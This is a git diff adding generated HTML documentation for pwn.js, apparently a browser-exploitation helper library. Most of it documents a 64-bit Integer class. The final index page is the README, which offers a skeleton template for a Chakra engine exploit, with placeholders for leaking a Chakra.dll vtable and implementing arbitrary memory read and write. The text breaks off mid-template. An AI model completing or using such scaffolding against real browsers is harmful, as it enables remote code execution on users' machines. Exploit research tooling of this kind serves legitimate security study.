+ + + + + diff --git a/docs/global.html b/docs/global.html new file mode 100644 index 0000000..c8a11c1 --- /dev/null +++ b/docs/global.html @@ -0,0 +1,201 @@ + + + + + Global - Documentation + + + + + + + + + + + + + + + + +
+ +

Global

+ + + + + + + +
+ +
+ +

+ +

+ + +
+ +
+
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + +
+ + + + + + + + + + + + +

Members

+ + + +

Integer

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + +
License:
+
  • long.js (c) 2013 Daniel Wirtz +Released under the Apache License, Version 2.0 +see: https://github.com/dcodeIO/long.js for details
+ + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/global.html#Integer b/docs/global.html#Integer new file mode 100644 index 0000000..66c042f --- /dev/null +++ b/docs/global.html#Integer @@ -0,0 +1,7942 @@ + + + + + Integer - Documentation + + + + + + + + + + + + + + + + +
+ +

Integer

+ + + + + + + +
+ +
+ +

+ Integer +

+ +
A Integer class for representing a 64 bit two's-complement integer value.
+ + +
+ +
+
+ + + + +

Constructor

+ + +

new Integer(low, high, unsignedopt)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers. + See the from* functions below for more convenient ways of constructing Integers. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
low + + +number + + + + + + + + + + The low (signed) 32 bits of the long
high + + +number + + + + + + + + + + The high (signed) 32 bits of the long
unsigned + + +boolean + + + + + + <optional>
+ + + + + +
Whether unsigned or not, defaults to `false` for signed
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + +

Members

+ + + +

high :number

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ The high 32 bits as a signed value. +
+ + + +
Type:
+
    +
  • + +number + + +
  • +
+ + + + + + + + +

low :number

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ The low 32 bits as a signed value. +
+ + + +
Type:
+
    +
  • + +number + + +
  • +
+ + + + + + + + +

unsigned :boolean

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Whether unsigned or not. +
+ + + +
Type:
+
    +
  • + +boolean + + +
  • +
+ + + + + + + + + + +

Methods

+ + + + + + +

add(addend) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the sum of this and the specified Integer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
addend + + +Integer +| + +number +| + +string + + + + Addend
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Sum +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

and(other) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise AND of this Integer and the specified. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other Integer
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

comp(other) → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Compares this Integer's value with the specified's. This is an alias of Integer#compare. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ 0 if they are the same, 1 if the this is greater and -1 + if the given one is greater +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

compare(other) → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Compares this Integer's value with the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ 0 if they are the same, 1 if the this is greater and -1 + if the given one is greater +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

div(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer divided by the specified. This is an alias of Integer#divide. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Quotient +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

divide(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer divided by the specified. The result is signed if this Integer is signed or + unsigned if this Integer is unsigned. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Quotient +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

eq(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value equals the specified's. This is an alias of Integer#equals. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

equals(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value equals the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

getHighBits() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the high 32 bits as a signed integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Signed high bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getHighBitsUnsigned() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the high 32 bits as an unsigned integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Unsigned high bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getLowBits() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the low 32 bits as a signed integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Signed low bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getLowBitsUnsigned() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the low 32 bits as an unsigned integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Unsigned low bits +
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

getNumBitsAbs() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Gets the number of bits needed to represent the absolute value of this Integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

greaterThan(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

greaterThanOrEqual(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than or equal the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

gt(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than the specified's. This is an alias of Integer#greaterThan. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

gte(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is greater than or equal the specified's. This is an alias of Integer#greaterThanOrEqual. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isEven() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is even. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isNegative() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is negative. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isOdd() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is odd. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isPositive() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is positive. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

isZero() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value equals zero. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lessThan(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lessThanOrEqual(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than or equal the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lt(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than the specified's. This is an alias of Integer#lessThan. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

lte(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value is less than or equal the specified's. This is an alias of Integer#lessThanOrEqual. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

mod(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer modulo the specified. This is an alias of Integer#modulo. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Remainder +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

modulo(divisor) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer modulo the specified. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
divisor + + +Integer +| + +number +| + +string + + + + Divisor
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Remainder +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

mul(multiplier) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the product of this and the specified Integer. This is an alias of Integer#multiply. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
multiplier + + +Integer +| + +number +| + +string + + + + Multiplier
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Product +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

multiply(multiplier) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the product of this and the specified Integer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
multiplier + + +Integer +| + +number +| + +string + + + + Multiplier
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Product +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

neg() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Negates this Integer's value. This is an alias of Integer#negate. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Negated Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

negate() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Negates this Integer's value. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Negated Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

neq(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value differs from the specified's. This is an alias of Integer#notEquals. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

not() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise NOT of this Integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

notEquals(other) → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Tests if this Integer's value differs from the specified's. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other value
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

or(other) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise OR of this Integer and the specified. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other Integer
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shiftLeft(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits shifted to the left by the given amount. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shiftRight(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits arithmetically shifted to the right by the given amount. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shiftRightUnsigned(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits logically shifted to the right by the given amount. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shl(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits shifted to the left by the given amount. This is an alias of Integer#shiftLeft. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shr(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of Integer#shiftRight. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

shru(numBits) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of Integer#shiftRightUnsigned. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
numBits + + +number +| + +Integer + + + + Number of bits
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Shifted Integer +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

sub(subtrahend) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the difference of this and the specified Integer. This is an alias of Integer#subtract. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
subtrahend + + +Integer +| + +number +| + +string + + + + Subtrahend
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Difference +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

subtract(subtrahend) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the difference of this and the specified Integer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
subtrahend + + +Integer +| + +number +| + +string + + + + Subtrahend
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Difference +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

toBytes(leopt) → (non-null) {Array.<number>}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to its byte representation. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
le + + +boolean + + + + + + <optional>
+ + + + + +
Whether little or big endian, defaults to big endian
+ + + + + + + + + + + + + + +
Returns:
+ + +
+ Byte representation +
+ + + +
+
+ Type +
+
+ +Array.<number> + + +
+
+ + + + + + + + + +

toBytesBE() → (non-null) {Array.<number>}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to its big endian byte representation. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Big endian byte representation +
+ + + +
+
+ Type +
+
+ +Array.<number> + + +
+
+ + + + + + + + + +

toBytesLE() → (non-null) {Array.<number>}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to its little endian byte representation. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Little endian byte representation +
+ + + +
+
+ Type +
+
+ +Array.<number> + + +
+
+ + + + + + + + + +

toInt() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

toNumber() → {number}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa). +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + +

toSigned() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to signed. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Signed long +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

toString(radixopt) → {string}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts the Integer to a string written in the specified radix. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
radix + + +number + + + + + + <optional>
+ + + + + +
Radix (2-36), defaults to 10
+ + + + + + + + + + + + +
Throws:
+ + + +
+
+
+ If `radix` is out of range +
+
+
+
+
+
+ Type +
+
+ +RangeError + + +
+
+
+
+
+ + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + +

toUnsigned() → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts this Integer to unsigned. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + +
+ Unsigned long +
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

xor(other) → (non-null) {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the bitwise XOR of this Integer and the given one. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
other + + +Integer +| + +number +| + +string + + + + Other Integer
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 0000000..bd3ef69 --- /dev/null +++ b/docs/index.html @@ -0,0 +1,112 @@ + + + + + Home - Documentation + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + +
+

pwn.js

Basic Usage

Pre-built version of the library is located at /dist/pwn.js. API documentation is available in /docs, and examples of complete exploits are in /examples.

+

If you want to implement a new Chakra exploit, you can use this basic template:

+
var Exploit = (function() {
+    var ChakraExploit = pwnjs.ChakraExploit,
+        Integer = pwnjs.Integer;
+
+    function Exploit() {
+        ChakraExploit.call(this);
+        // TODO: implement your exploit
+        // TODO: leak any Chakra.dll address (e.g. a vtable)
+        this.initChakra(vtable);
+    }
+    Exploit.prototype = Object.create(ChakraExploit.prototype);
+    Exploit.prototype.constructor = Exploit;
+    Exploit.prototype.read = function (address, size) {
+        switch (size) {
+            case 8:
+            case 16:
+            case 32:
+            case 64:
+                // TODO: implement memory read of address
+        }
+    }
+    Exploit.prototype.write = function (address, value, size) {
+        switch (size) {
+            case 8:
+            case 16:
+            case 32:
